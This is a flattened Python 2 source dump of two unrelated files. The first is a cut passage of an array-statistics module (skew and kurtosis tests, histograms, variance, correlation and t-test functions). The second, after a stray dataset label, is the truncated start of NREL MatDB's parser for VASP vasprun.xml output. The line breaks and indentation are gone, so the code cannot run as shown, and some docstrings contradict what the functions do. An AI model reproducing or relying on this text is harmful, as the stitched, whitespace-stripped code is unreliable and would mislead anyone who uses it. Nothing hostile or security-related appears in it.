Probability and Statistics, p.6. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: avariation(a,dimension=None) """ return 100.0*asamplestdev(a,dimension)/amean(a,dimension) def askew(a,dimension=None): """ Returns the skewness of a distribution (normal ==> 0.0; >0 means extra weight in left tail). Use askewtest() to see if it's close enough. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: askew(a, dimension=None) Returns: skew of vals in a along dimension, returning ZERO where all vals equal """ denom = N.power(amoment(a,2,dimension),1.5) zero = N.equal(denom,0) if type(denom) == N.ArrayType and asum(zero) <> 0: print "Number of zeros in askew: ",asum(zero) denom = denom + zero # prevent divide-by-zero return N.where(zero, 0, amoment(a,3,dimension)/denom) def akurtosis(a,dimension=None): """ Returns the kurtosis of a distribution (normal ==> 3.0; >3 means heavier in the tails, and usually more peaked). Use akurtosistest() to see if it's close enough. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: akurtosis(a,dimension=None) Returns: kurtosis of values in a along dimension, and ZERO where all vals equal """ denom = N.power(amoment(a,2,dimension),2) zero = N.equal(denom,0) if type(denom) == N.ArrayType and asum(zero) <> 0: print "Number of zeros in akurtosis: ",asum(zero) denom = denom + zero # prevent divide-by-zero return N.where(zero,0,amoment(a,4,dimension)/denom) def adescribe(inarray,dimension=None): """ Returns several descriptive statistics of the passed array. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: adescribe(inarray,dimension=None) Returns: n, (min,max), mean, standard deviation, skew, kurtosis """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 n = inarray.shape[dimension] mm = (N.minimum.reduce(inarray),N.maximum.reduce(inarray)) m = amean(inarray,dimension) sd = astdev(inarray,dimension) skew = askew(inarray,dimension) kurt = akurtosis(inarray,dimension) return n, mm, m, sd, skew, kurt ##################################### ######## NORMALITY TESTS ########## ##################################### def askewtest(a,dimension=None): """ Tests whether the skew is significantly different from a normal distribution. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: askewtest(a,dimension=None) Returns: z-score and 2-tail z-probability """ if dimension == None: a = N.ravel(a) dimension = 0 b2 = askew(a,dimension) n = float(a.shape[dimension]) y = b2 * N.sqrt(((n+1)*(n+3)) / (6.0*(n-2)) ) beta2 = ( 3.0*(n*n+27*n-70)*(n+1)*(n+3) ) / ( (n-2.0)*(n+5)*(n+7)*(n+9) ) W2 = -1 + N.sqrt(2*(beta2-1)) delta = 1/N.sqrt(N.log(N.sqrt(W2))) alpha = N.sqrt(2/(W2-1)) y = N.where(N.equal(y,0),1,y) Z = delta*N.log(y/alpha + N.sqrt((y/alpha)**2+1)) return Z, (1.0-zprob(Z))*2 def akurtosistest(a,dimension=None): """ Tests whether a dataset has normal kurtosis (i.e., kurtosis=3(n-1)/(n+1)) Valid only for n>20. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: akurtosistest(a,dimension=None) Returns: z-score and 2-tail z-probability, returns 0 for bad pixels """ if dimension == None: a = N.ravel(a) dimension = 0 n = float(a.shape[dimension]) if n<20: print "akurtosistest only valid for n>=20 ... continuing anyway, n=",n b2 = akurtosis(a,dimension) E = 3.0*(n-1) /(n+1) varb2 = 24.0*n*(n-2)*(n-3) / ((n+1)*(n+1)*(n+3)*(n+5)) x = (b2-E)/N.sqrt(varb2) sqrtbeta1 = 6.0*(n*n-5*n+2)/((n+7)*(n+9)) * N.sqrt((6.0*(n+3)*(n+5))/ (n*(n-2)*(n-3))) A = 6.0 + 8.0/sqrtbeta1 *(2.0/sqrtbeta1 + N.sqrt(1+4.0/(sqrtbeta1**2))) term1 = 1 -2/(9.0*A) denom = 1 +x*N.sqrt(2/(A-4.0)) denom = N.where(N.less(denom,0), 99, denom) term2 = N.where(N.equal(denom,0), term1, N.power((1-2.0/A)/denom,1/3.0)) Z = ( term1 - term2 ) / N.sqrt(2/(9.0*A)) Z = N.where(N.equal(denom,99), 0, Z) return Z, (1.0-zprob(Z))*2 def anormaltest(a,dimension=None): """ Tests whether skew and/OR kurtosis of dataset differs from normal curve. Can operate over multiple dimensions. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: anormaltest(a,dimension=None) Returns: z-score and 2-tail probability """ if dimension == None: a = N.ravel(a) dimension = 0 s,p = askewtest(a,dimension) k,p = akurtosistest(a,dimension) k2 = N.power(s,2) + N.power(k,2) return k2, achisqprob(k2,2) ##################################### ###### AFREQUENCY FUNCTIONS ####### ##################################### def aitemfreq(a): """ Returns a 2D array of item frequencies. Column 1 contains item values, column 2 contains their respective counts. Assumes a 1D array is passed. Usage: aitemfreq(a) Returns: a 2D frequency table (col [0:n-1]=scores, col n=frequencies) """ scores = pstat.aunique(a) scores = N.sort(scores) freq = N.zeros(len(scores)) for i in range(len(scores)): freq[i] = N.add.reduce(N.equal(a,scores[i])) return N.array(pstat.aabut(scores, freq)) def ascoreatpercentile (inarray, percent): """ Usage: ascoreatpercentile(inarray,percent) 0<percent<100 Returns: score at given percentile, relative to inarray distribution """ percent = percent / 100.0 targetcf = percent*len(inarray) h, lrl, binsize, extras = histogram(inarray) cumhist = cumsum(h*1) for i in range(len(cumhist)): if cumhist[i] >= targetcf: break score = binsize * ((targetcf - cumhist[i-1]) / float(h[i])) + (lrl+binsize*i) return score def apercentileofscore (inarray,score,histbins=10,defaultlimits=None): """ Note: result of this function depends on the values used to histogram the data(!). Usage: apercentileofscore(inarray,score,histbins=10,defaultlimits=None) Returns: percentile-position of score (0-100) relative to inarray """ h, lrl, binsize, extras = histogram(inarray,histbins,defaultlimits) cumhist = cumsum(h*1) i = int((score - lrl)/float(binsize)) pct = (cumhist[i-1]+((score-(lrl+binsize*i))/float(binsize))*h[i])/float(len(inarray)) * 100 return pct def ahistogram (inarray,numbins=10,defaultlimits=None,printextras=1): """ Returns (i) an array of histogram bin counts, (ii) the smallest value of the histogram binning, and (iii) the bin width (the last 2 are not necessarily integers). Default number of bins is 10. Defaultlimits can be None (the routine picks bins spanning all the numbers in the inarray) or a 2-sequence (lowerlimit, upperlimit). Returns all of the following: array of bin values, lowerreallimit, binsize, extrapoints. Usage: ahistogram(inarray,numbins=10,defaultlimits=None,printextras=1) Returns: (array of bin counts, bin-minimum, min-width, #-points-outside-range) """ inarray = N.ravel(inarray) # flatten any >1D arrays if (defaultlimits <> None): lowerreallimit = defaultlimits[0] upperreallimit = defaultlimits[1] binsize = (upperreallimit-lowerreallimit) / float(numbins) else: Min = N.minimum.reduce(inarray) Max = N.maximum.reduce(inarray) estbinwidth = float(Max - Min)/float(numbins) + 1 binsize = (Max-Min+estbinwidth)/float(numbins) lowerreallimit = Min - binsize/2.0 #lower real limit,1st bin bins = N.zeros(numbins) extrapoints = 0 for num in inarray: try: if (num-lowerreallimit) < 0: extrapoints = extrapoints + 1 else: bintoincrement = int((num-lowerreallimit) / float(binsize)) bins[bintoincrement] = bins[bintoincrement] + 1 except: # point outside lower/upper limits extrapoints = extrapoints + 1 if (extrapoints > 0 and printextras == 1): print '\nPoints outside given histogram range =',extrapoints return (bins, lowerreallimit, binsize, extrapoints) def acumfreq(a,numbins=10,defaultreallimits=None): """ Returns a cumulative frequency histogram, using the histogram function. Defaultreallimits can be None (use all data), or a 2-sequence containing lower and upper limits on values to include. Usage: acumfreq(a,numbins=10,defaultreallimits=None) Returns: array of cumfreq bin values, lowerreallimit, binsize, extrapoints """ h,l,b,e = histogram(a,numbins,defaultreallimits) cumhist = cumsum(h*1) return cumhist,l,b,e def arelfreq(a,numbins=10,defaultreallimits=None): """ Returns a relative frequency histogram, using the histogram function. Defaultreallimits can be None (use all data), or a 2-sequence containing lower and upper limits on values to include. Usage: arelfreq(a,numbins=10,defaultreallimits=None) Returns: array of cumfreq bin values, lowerreallimit, binsize, extrapoints """ h,l,b,e = histogram(a,numbins,defaultreallimits) h = N.array(h/float(a.shape[0])) return h,l,b,e ##################################### ###### AVARIABILITY FUNCTIONS ##### ##################################### def aobrientransform(*args): """ Computes a transform on input data (any number of columns). Used to test for homogeneity of variance prior to running one-way stats. Each array in *args is one level of a factor. If an F_oneway() run on the transformed data and found significant, variances are unequal. From Maxwell and Delaney, p.112. Usage: aobrientransform(*args) *args = 1D arrays, one per level of factor Returns: transformed data for use in an ANOVA """ TINY = 1e-10 k = len(args) n = N.zeros(k,N.Float) v = N.zeros(k,N.Float) m = N.zeros(k,N.Float) nargs = [] for i in range(k): nargs.append(args[i].astype(N.Float)) n[i] = float(len(nargs[i])) v[i] = var(nargs[i]) m[i] = mean(nargs[i]) for j in range(k): for i in range(n[j]): t1 = (n[j]-1.5)*n[j]*(nargs[j][i]-m[j])**2 t2 = 0.5*v[j]*(n[j]-1.0) t3 = (n[j]-1.0)*(n[j]-2.0) nargs[j][i] = (t1-t2) / float(t3) check = 1 for j in range(k): if v[j] - mean(nargs[j]) > TINY: check = 0 if check <> 1: raise ValueError, 'Lack of convergence in obrientransform.' else: return N.array(nargs) def asamplevar (inarray,dimension=None,keepdims=0): """ Returns the sample standard deviation of the values in the passed array (i.e., using N). Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: asamplevar(inarray,dimension=None,keepdims=0) """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 if dimension == 1: mn = amean(inarray,dimension)[:,N.NewAxis] else: mn = amean(inarray,dimension,keepdims=1) deviations = inarray - mn if type(dimension) == ListType: n = 1 for d in dimension: n = n*inarray.shape[d] else: n = inarray.shape[dimension] svar = ass(deviations,dimension,keepdims) / float(n) return svar def asamplestdev (inarray, dimension=None, keepdims=0): """ Returns the sample standard deviation of the values in the passed array (i.e., using N). Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: asamplestdev(inarray,dimension=None,keepdims=0) """ return N.sqrt(asamplevar(inarray,dimension,keepdims)) def asignaltonoise(instack,dimension=0): """ Calculates signal-to-noise. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Usage: asignaltonoise(instack,dimension=0): Returns: array containing the value of (mean/stdev) along dimension, or 0 when stdev=0 """ m = mean(instack,dimension) sd = stdev(instack,dimension) return N.where(N.equal(sd,0),0,m/sd) def avar (inarray, dimension=None,keepdims=0): """ Returns the estimated population variance of the values in the passed array (i.e., N-1). Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: avar(inarray,dimension=None,keepdims=0) """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 mn = amean(inarray,dimension,1) deviations = inarray - mn if type(dimension) == ListType: n = 1 for d in dimension: n = n*inarray.shape[d] else: n = inarray.shape[dimension] var = ass(deviations,dimension,keepdims)/float(n-1) return var def astdev (inarray, dimension=None, keepdims=0): """ Returns the estimated population standard deviation of the values in the passed array (i.e., N-1). Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: astdev(inarray,dimension=None,keepdims=0) """ return N.sqrt(avar(inarray,dimension,keepdims)) def asterr (inarray, dimension=None, keepdims=0): """ Returns the estimated population standard error of the values in the passed array (i.e., N-1). Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: asterr(inarray,dimension=None,keepdims=0) """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 return astdev(inarray,dimension,keepdims) / float(N.sqrt(inarray.shape[dimension])) def asem (inarray, dimension=None, keepdims=0): """ Returns the standard error of the mean (i.e., using N) of the values in the passed array. Dimension can equal None (ravel array first), an integer (the dimension over which to operate), or a sequence (operate over multiple dimensions). Set keepdims=1 to return an array with the same number of dimensions as inarray. Usage: asem(inarray,dimension=None, keepdims=0) """ if dimension == None: inarray = N.ravel(inarray) dimension = 0 if type(dimension) == ListType: n = 1 for d in dimension: n = n*inarray.shape[d] else: n = inarray.shape[dimension] s = asamplestdev(inarray,dimension,keepdims) / N.sqrt(n-1) return s def az (a, score): """ Returns the z-score of a given input score, given thearray from which that score came. Not appropriate for population calculations, nor for arrays > 1D. Usage: az(a, score) """ z = (score-amean(a)) / asamplestdev(a) return z def azs (a): """ Returns a 1D array of z-scores, one for each score in the passed array, computed relative to the passed array. Usage: azs(a) """ zscores = [] for item in a: zscores.append(z(a,item)) return N.array(zscores) def azmap (scores, compare, dimension=0): """ Returns an array of z-scores the shape of scores (e.g., [x,y]), compared to array passed to compare (e.g., [time,x,y]). Assumes collapsing over dim 0 of the compare array. Usage: azs(scores, compare, dimension=0) """ mns = amean(compare,dimension) sstd = asamplestdev(compare,0) return (scores - mns) / sstd ##################################### ####### ATRIMMING FUNCTIONS ####### ##################################### def around(a,digits=1): """ Rounds all values in array a to 'digits' decimal places. Usage: around(a,digits) Returns: a, where each value is rounded to 'digits' decimals """ def ar(x,d=digits): return round(x,d) if type(a) <> N.ArrayType: try: a = N.array(a) except: a = N.array(a,'O') shp = a.shape if a.typecode() in ['f','F','d','D']: b = N.ravel(a) b = N.array(map(ar,b)) b.shape = shp elif a.typecode() in ['o','O']: b = N.ravel(a)*1 for i in range(len(b)): if type(b[i]) == FloatType: b[i] = round(b[i],digits) b.shape = shp else: # not a float, double or Object array b = a*1 return b def athreshold(a,threshmin=None,threshmax=None,newval=0): """ Like Numeric.clip() except that values <threshmid or >threshmax are replaced by newval instead of by threshmin/threshmax (respectively). Usage: athreshold(a,threshmin=None,threshmax=None,newval=0) Returns: a, with values <threshmin or >threshmax replaced with newval """ mask = N.zeros(a.shape) if threshmin <> None: mask = mask + N.where(N.less(a,threshmin),1,0) if threshmax <> None: mask = mask + N.where(N.greater(a,threshmax),1,0) mask = N.clip(mask,0,1) return N.where(mask,newval,a) def atrimboth (a,proportiontocut): """ Slices off the passed proportion of items from BOTH ends of the passed array (i.e., with proportiontocut=0.1, slices 'leftmost' 10% AND 'rightmost' 10% of scores. You must pre-sort the array if you want "proper" trimming. Slices off LESS if proportion results in a non-integer slice index (i.e., conservatively slices off proportiontocut). Usage: atrimboth (a,proportiontocut) Returns: trimmed version of array a """ lowercut = int(proportiontocut*len(a)) uppercut = len(a) - lowercut return a[lowercut:uppercut] def atrim1 (a,proportiontocut,tail='right'): """ Slices off the passed proportion of items from ONE end of the passed array (i.e., if proportiontocut=0.1, slices off 'leftmost' or 'rightmost' 10% of scores). Slices off LESS if proportion results in a non-integer slice index (i.e., conservatively slices off proportiontocut). Usage: atrim1(a,proportiontocut,tail='right') or set tail='left' Returns: trimmed version of array a """ if string.lower(tail) == 'right': lowercut = 0 uppercut = len(a) - int(proportiontocut*len(a)) elif string.lower(tail) == 'left': lowercut = int(proportiontocut*len(a)) uppercut = len(a) return a[lowercut:uppercut] ##################################### ##### ACORRELATION FUNCTIONS ###### ##################################### def acovariance(X): """ Computes the covariance matrix of a matrix X. Requires a 2D matrix input. Usage: acovariance(X) Returns: covariance matrix of X """ if len(X.shape) <> 2: raise TypeError, "acovariance requires 2D matrices" n = X.shape[0] mX = amean(X,0) return N.dot(N.transpose(X),X) / float(n) - N.multiply.outer(mX,mX) def acorrelation(X): """ Computes the correlation matrix of a matrix X. Requires a 2D matrix input. Usage: acorrelation(X) Returns: correlation matrix of X """ C = acovariance(X) V = N.diagonal(C) return C / N.sqrt(N.multiply.outer(V,V)) def apaired(x,y): """ Interactively determines the type of data in x and y, and then runs the appropriated statistic for paired group data. Usage: apaired(x,y) x,y = the two arrays of values to be compared Returns: appropriate statistic name, value, and probability """ samples = '' while samples not in ['i','r','I','R','c','C']: print '\nIndependent or related samples, or correlation (i,r,c): ', samples = raw_input() if samples in ['i','I','r','R']: print '\nComparing variances ...', # USE O'BRIEN'S TEST FOR HOMOGENEITY OF VARIANCE, Maxwell & delaney, p.112 r = obrientransform(x,y) f,p = F_oneway(pstat.colex(r,0),pstat.colex(r,1)) if p<0.05: vartype='unequal, p='+str(round(p,4)) else: vartype='equal' print vartype if samples in ['i','I']: if vartype[0]=='e': t,p = ttest_ind(x,y,None,0) print '\nIndependent samples t-test: ', round(t,4),round(p,4) else: if len(x)>20 or len(y)>20: z,p = ranksums(x,y) print '\nRank Sums test (NONparametric, n>20): ', round(z,4),round(p,4) else: u,p = mannwhitneyu(x,y) print '\nMann-Whitney U-test (NONparametric, ns<20): ', round(u,4),round(p,4) else: # RELATED SAMPLES if vartype[0]=='e': t,p = ttest_rel(x,y,0) print '\nRelated samples t-test: ', round(t,4),round(p,4) else: t,p = ranksums(x,y) print '\nWilcoxon T-test (NONparametric): ', round(t,4),round(p,4) else: # CORRELATION ANALYSIS corrtype = '' while corrtype not in ['c','C','r','R','d','D']: print '\nIs the data Continuous, Ranked, or Dichotomous (c,r,d): ', corrtype = raw_input() if corrtype in ['c','C']: m,b,r,p,see = linregress(x,y) print '\nLinear regression for continuous variables ...' lol = [['Slope','Intercept','r','Prob','SEestimate'],[round(m,4),round(b,4),round(r,4),round(p,4),round(see,4)]] pstat.printcc(lol) elif corrtype in ['r','R']: r,p = spearmanr(x,y) print '\nCorrelation for ranked variables ...' print "Spearman's r: ",round(r,4),round(p,4) else: # DICHOTOMOUS r,p = pointbiserialr(x,y) print '\nAssuming x contains a dichotomous variable ...' print 'Point Biserial r: ',round(r,4),round(p,4) print '\n\n' return None def apearsonr(x,y,verbose=1): """ Calculates a Pearson correlation coefficient and returns p. Taken from Heiman's Basic Statistics for the Behav. Sci (2nd), p.195. Usage: apearsonr(x,y,verbose=1) where x,y are equal length arrays Returns: Pearson's r, two-tailed p-value """ TINY = 1.0e-20 n = len(x) xmean = amean(x) ymean = amean(y) r_num = n*(N.add.reduce(x*y)) - N.add.reduce(x)*N.add.reduce(y) r_den = math.sqrt((n*ass(x) - asquare_of_sums(x))*(n*ass(y)-asquare_of_sums(y))) r = (r_num / r_den) df = n-2 t = r*math.sqrt(df/((1.0-r+TINY)*(1.0+r+TINY))) prob = abetai(0.5*df,0.5,df/(df+t*t),verbose) return r,prob def aspearmanr(x,y): """ Calculates a Spearman rank-order correlation coefficient. Taken from Heiman's Basic Statistics for the Behav. Sci (1st), p.192. Usage: aspearmanr(x,y) where x,y are equal-length arrays Returns: Spearman's r, two-tailed p-value """ TINY = 1e-30 n = len(x) rankx = rankdata(x) ranky = rankdata(y) dsq = N.add.reduce((rankx-ranky)**2) rs = 1 - 6*dsq / float(n*(n**2-1)) t = rs * math.sqrt((n-2) / ((rs+1.0)*(1.0-rs))) df = n-2 probrs = abetai(0.5*df,0.5,df/(df+t*t)) # probability values for rs are from part 2 of the spearman function in # Numerical Recipies, p.510. They close to tables, but not exact.(?) return rs, probrs def apointbiserialr(x,y): """ Calculates a point-biserial correlation coefficient and the associated probability value. Taken from Heiman's Basic Statistics for the Behav. Sci (1st), p.194. Usage: apointbiserialr(x,y) where x,y are equal length arrays Returns: Point-biserial r, two-tailed p-value """ TINY = 1e-30 categories = pstat.aunique(x) data = pstat.aabut(x,y) if len(categories) <> 2: raise ValueError, "Exactly 2 categories required (in x) for pointbiserialr()." else: # there are 2 categories, continue codemap = pstat.aabut(categories,N.arange(2)) recoded = pstat.arecode(data,codemap,0) x = pstat.alinexand(data,0,categories[0]) y = pstat.alinexand(data,0,categories[1]) xmean = amean(pstat.acolex(x,1)) ymean = amean(pstat.acolex(y,1)) n = len(data) adjust = math.sqrt((len(x)/float(n))*(len(y)/float(n))) rpb = (ymean - xmean)/asamplestdev(pstat.acolex(data,1))*adjust df = n-2 t = rpb*math.sqrt(df/((1.0-rpb+TINY)*(1.0+rpb+TINY))) prob = abetai(0.5*df,0.5,df/(df+t*t)) return rpb, prob def akendalltau(x,y): """ Calculates Kendall's tau ... correlation of ordinal data. Adapted from function kendl1 in Numerical Recipies. Needs good test-cases.@@@ Usage: akendalltau(x,y) Returns: Kendall's tau, two-tailed p-value """ n1 = 0 n2 = 0 iss = 0 for j in range(len(x)-1): for k in range(j,len(y)): a1 = x[j] - x[k] a2 = y[j] - y[k] aa = a1 * a2 if (aa): # neither array has a tie n1 = n1 + 1 n2 = n2 + 1 if aa > 0: iss = iss + 1 else: iss = iss -1 else: if (a1): n1 = n1 + 1 else: n2 = n2 + 1 tau = iss / math.sqrt(n1*n2) svar = (4.0*len(x)+10.0) / (9.0*len(x)*(len(x)-1)) z = tau / math.sqrt(svar) prob = erfcc(abs(z)/1.4142136) return tau, prob def alinregress(*args): """ Calculates a regression line on two arrays, x and y, corresponding to x,y pairs. If a single 2D array is passed, alinregress finds dim with 2 levels and splits data into x,y pairs along that dim. Usage: alinregress(*args) args=2 equal-length arrays, or one 2D array Returns: slope, intercept, r, two-tailed prob, sterr-of-the-estimate """ TINY = 1.0e-20 if len(args) == 1: # more than 1D array? args = args[0] if len(args) == 2: x = args[0] y = args[1] else: x = args[:,0] y = args[:,1] else: x = args[0] y = args[1] n = len(x) xmean = amean(x) ymean = amean(y) r_num = n*(N.add.reduce(x*y)) - N.add.reduce(x)*N.add.reduce(y) r_den = math.sqrt((n*ass(x) - asquare_of_sums(x))*(n*ass(y)-asquare_of_sums(y))) r = r_num / r_den z = 0.5*math.log((1.0+r+TINY)/(1.0-r+TINY)) df = n-2 t = r*math.sqrt(df/((1.0-r+TINY)*(1.0+r+TINY))) prob = abetai(0.5*df,0.5,df/(df+t*t)) slope = r_num / (float(n)*ass(x) - asquare_of_sums(x)) intercept = ymean - slope*xmean sterrest = math.sqrt(1-r*r)*asamplestdev(y) return slope, intercept, r, prob, sterrest ##################################### ##### AINFERENTIAL STATISTICS ##### ##################################### def attest_1samp(a,popmean,printit=0,name='Sample',writemode='a'): """ Calculates the t-obtained for the independent samples T-test on ONE group of scores a, given a population mean. If printit=1, results are printed to the screen. If printit='filename', the results are output to 'filename' using the given writemode (default=append). Returns t-value, and prob. Usage: attest_1samp(a,popmean,Name='Sample',printit=0,writemode='a') Returns: t-value, two-tailed prob """ if type(a) != N.ArrayType: a = N.array(a) x = amean(a) v = avar(a) n = len(a) df = n-1 svar = ((n-1)*v) / float(df) t = (x-popmean)/math.sqrt(svar*(1.0/n)) prob = abetai(0.5*df,0.5,df/(df+t*t)) if printit <> 0: statname = 'Single-sample T-test.' outputpairedstats(printit,writemode, 'Population','--',popmean,0,0,0, name,n,x,v,N.minimum.reduce(N.ravel(a)), N.maximum.reduce(N.ravel(a)), statname,t,prob) return t,prob def attest_ind (a, b, dimension=None, printit=0, name1='Samp1', name2='Samp2',writemode='a'): """ Calculates the t-obtained T-test on TWO INDEPENDENT samples of scores a, and b. From Numerical Recipies, p.483. If printit=1, results are printed to the screen. If printit='filename', the results are output to 'filename' using the given writemode (default=append). Dimension can equal None (ravel array first), or an integer (the dimension over which to operate on a and b). Usage: attest_ind (a,b,dimension=None,printit=0, Name1='Samp1',Name2='Samp2',writemode='a') Returns: t-value, two-tailed p-value """ if dimension == None: a = N.ravel(a) b = N.ravel(b) dimension = 0 x1 = amean(a,dimension) x2
codeparrot/github-code-clean
#!/usr/bin/env python # Copyright 2013 National Renewable Energy Laboratory, Golden CO, USA # This file is part of NREL MatDB. # # NREL MatDB is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # NREL MatDB is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with NREL MatDB. If not, see <http://www.gnu.org/licenses/>. import datetime, re, sys, traceback, os.path import xml.etree.cElementTree as etree import numpy as np #==================================================================== def badparms( msg): print '\nError: %s' % (msg,) print 'Parms:' print ' -bugLev <int> debug level' print ' -inFile <string> input file' print ' -maxLev <int> max xml print level' print '' sys.exit(1) #==================================================================== def main(): ''' Test driver: Extracts info from a VASP vasprun.xml file. Command line parameters: ================ ========= ============================================== Parameter Type Description ================ ========= ============================================== **-bugLev** integer Debug level. Normally 0. **-inFile** string Input file **-maxLev int max xml print level ================ ========= ============================================== ''' bugLev = 0 inFile = None maxLev = 0 if len(sys.argv) % 2 != 1: badparms('Parms must be key/value pairs') for iarg in range( 1, len(sys.argv), 2): key = sys.argv[iarg] val = sys.argv[iarg+1] if key == '-bugLev': bugLev = int( val) elif key == '-inFile': inFile = val elif key == '-maxLev': maxLev = int( val) else: badparms('unknown key: "%s"' % (key,)) if bugLev == None: badparms('parm not specified: -bugLev') if inFile == None: badparms('parm not specified: -inFile') if maxLev == None: badparms('parm not specified: -maxLev') resObj = ResClass() parseXml( bugLev, inFile, maxLev, resObj) #==================================================================== #==================================================================== class ResClass: ''' An empty class used as a data container for results. ''' def __str__(self): keys = self.__dict__.keys() keys.sort() msg = '' for key in keys: val = self.__dict__[key] stg = str( val) if stg.find('\n') >= 0: sep = '\n' else: sep = ' ' msg += ' %s: type: %s val:%s%s\n' % (key, type(val), sep, val,) return msg #==================================================================== #==================================================================== # Fills resObj. def parseXml( bugLev, inFile, maxLev, resObj): ''' Extracts info from the vasprun.xml file from a VASP run, using the Python xml.etree.cElementTree API. **Parameters**: * bugLev (int): Debug level. Normally 0. * inFile (str): Path of the input vasprun.xml file. * resObj (class ResClass): data object: we set attributes here. **Returns**: * None ''' try: tree = etree.parse( inFile) except Exception, exc: throwerr(('parseXml: invalid xml in file: "%s"\n' + ' Msg: %s\n') % (inFile, repr(exc),)) root = tree.getroot() if bugLev >= 1: printNode( root, 0, maxLev) # node, curLev, maxLev if bugLev >= 5: print '\n===== program, version, date etc =====\n' # xxx program, version, subversion, etc # PyLada: vasp/extract/base.py: datetime() # OUTCAR: use the 1 occurance of: # executed on LinuxIFC date 2013.03.11 09:32:24 dtStg = getString( root, 'generator/i[@name=\'date\']') tmStg = getString( root, 'generator/i[@name=\'time\']') dateFmtIn = '%Y %m %d %H:%M:%S' dateFmtOut = '%Y-%m-%d %H:%M:%S' resObj.runDate = datetime.datetime.strptime( '%s %s' % (dtStg, tmStg), dateFmtIn) if bugLev >= 5: print 'runDate: %s' % (resObj.runDate.strftime( dateFmtOut),) # iterTimes # Each node is has cpuTime, wallTime: # <time name='totalsc'>22.49 24.43</time> nodes = root.findall('calculation/time[@name=\'totalsc\']') iterCpuTimes = [] iterRealTimes = [] for node in nodes: txt = node.text toks = txt.split() if len(toks) == 1: # Kluge: sometimes the two time fields run together: # <time name="totalsc">18560.1718566.89</time> # should be: # <time name="totalsc">18560.17 18566.89</time> # In this case, try to split it, # or just use the first time for both values. tok = toks[0] ix = tok.find('.') if ix < 0: throwerr('invalid times: %s' % (etree.tostring(node),)) iy = tok.find('.', ix + 1) if iy < 0 or iy != len(tok) - 3: throwerr('invalid times: %s' % (etree.tostring(node),)) tmStga = tok[:ix+3] tmStgb = tok[ix+3:] elif len(toks) == 2: tmStga = toks[0] tmStgb = toks[1] else: throwerr('invalid times: %s' % (etree.tostring(node),)) iterCpuTimes.append( float( tmStga)) iterRealTimes.append( float( tmStgb)) resObj.iterCpuTimes = iterCpuTimes resObj.iterRealTimes = iterRealTimes resObj.iterTotalTime = np.sum( iterRealTimes) if bugLev >= 5: print 'iterCpuTimes: %s' % (resObj.iterCpuTimes,) print 'iterRealTimes: %s' % (resObj.iterRealTimes,) print 'iterTotalTime: %s' % (resObj.iterTotalTime,) if bugLev >= 5: print '\n===== incar parameters =====\n' # algo # PyLada: vasp/extract/base.py: algo() # OUTCAR: use the 1 occurance of: # ALGO = Fast resObj.algo = getString( root, 'incar/i[@name=\'ALGO\']') if bugLev >= 5: print 'algo: "%s"' % (resObj.algo,) ediff = getScalar( root, 'incar/i[@name=\'EDIFF\']', float) resObj.ediff = ediff if bugLev >= 5: print 'ediff: %g' % (ediff,) # encut # PyLada: vasp/extract/base.py: encut() # OUTCAR: use the first occurance of: # ENCUT = 252.0 eV 18.52 Ry 4.30 a.u. 4.08 4.08 15.92*2*pi/ulx,y,z # ENCUT = 252.0 resObj.encut_ev = getScalar( root, 'incar/i[@name=\'ENCUT\']', float) if bugLev >= 5: print 'encut_ev: %g' % (resObj.encut_ev,) resObj.isif = getScalar( root, 'incar/i[@name=\'ISIF\']', int) if bugLev >= 5: print 'isif: %g' % (resObj.isif,) # ldauType # PyLada: vasp/extract/base.py: LDAUType() # OUTCAR: use the first occurance of: # LDA+U is selected, type is set to LDAUTYPE = 2 # LDAUTYPE = 2 #rawLdauType = getScalar( root, 'incar/v[@name=\'LDAUTYPE\']', int) #if rawLdauType == 1: resObj.ldauType = 'liechtenstein' #elif rawLdauType == 2: resObj.ldauType = 'dudarev' #else: throwerr('unknown rawLdauType: %d' % (rawLdauType,)) #if bugLev >= 5: # print 'rawLdauType: %d ldauType: %s' % (rawLdauType, resObj.ldauType,) resObj.systemName = getString( root, 'incar/i[@name=\'SYSTEM\']') if bugLev >= 5: print 'systemName: "%s"' % (resObj.systemName,) if bugLev >= 5: print '\n===== general parameters =====\n' resObj.generalName = getString( root, 'parameters/separator[@name=\'general\']/i[@name=\'SYSTEM\']') if bugLev >= 5: print 'generalName: "%s"' % (resObj.generalName,) if bugLev >= 5: print '\n===== electronic parameters =====\n' lst = root.findall('parameters/separator[@name=\'electronic\']') if len(lst) != 1: throwerr('electronic parameters not found') elecNode = lst[0] # ialgo # PyLada: use the 1 occurance of: # Electronic relaxation 2 (details) # IALGO = 68 algorithm resObj.ialgo = getScalar( elecNode, 'i[@name=\'IALGO\']', int) if 